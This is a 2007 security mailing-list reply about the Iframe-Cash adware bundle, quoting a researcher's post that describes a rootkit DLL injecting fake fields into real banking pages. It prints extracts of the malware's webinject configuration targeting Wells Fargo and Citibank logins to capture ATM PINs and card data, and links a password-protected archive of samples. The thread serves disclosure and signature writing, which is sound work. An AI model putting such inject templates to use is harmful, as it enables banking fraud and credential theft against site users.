<<< Date Index >>>     <<< Thread Index >>>

Re: Iframe-Cash/Iframe-Dollars Adware bundle...oooh... my ....god..



On Sun, 11 Mar 2007, Thierry Zoller wrote:
> Dear list,
> 
> Whoever deals with these poeple and thinks they are a benign Adware
> company (and thus spreads their bundles.

iframedollaz used to offer webmasters a deal to include code on their
website for cash per hit (drive-by install).

They have been doing a lot of other stuff, as well, such as breaking into
websites and "defacing" them. Read defacing as "leave them the same way
only add malicious code to install drive-by malware".

They are by far not the only ones, nor are these their only strategies.

        Gadi.

> 
> Check this :
> Ignoring the fact that they basicaly  install a Rootkit, I attached a
> few files I reversed, they install a DLL that does not directly KEYLOG your
> banking data, but INJECTS HTML CODE into the _genuine_ (SSLed) Banking page
> asking you to enter more details (like PIN, Magic Password etc), then
> capture that data and transmit it (I did no further investigation)
> 
> http://secdev.zoller.lu/system32.zip
> Pass: 123
> 
> I am disgusted. They even created their own XML parser for this ...
> 
> An extract of HTML code they inject :
> -------------------------------------
> <inject
> url="wellsfargo" 
> before="name=userid autocomplete='off'></DIV>" 
> what="
> <DIV><LABEL for=userid>ATM PIN</LABEL>:<BR><SPAN class='mozcloak'><INPUT 
> id=pin  tabIndex=2 maxLength=4 type=password size=4 name=pin 
> autocomplete='off'></SPAN></DIV>
> "
> block="alt=Go" 
> check="pin"
> quan="4"
> content="d"
> >
> </inject>
> ------------------------------------
> 
> Attached the main files (pass 123), feel free to add this as HIPS or whatever
> signatures, those interested in a complete reversal can contact me
> to receive the EXE in question.
> 
> I have no more time feel free to dig deeper.
> 
> 
> I especialy liked this :
> ------------------------
> <inject
> url="citibank.com" 
> <TR><TD colspan=3 class=smallArial noWrap><SPAN STYLE='color:red'>To prevent 
> fraud enter your credit card information please:</SPAN></TD></TR>
> 
> 
> Puke..
> 
> -- 
> http://secdev.zoller.lu
> Thierry Zoller
>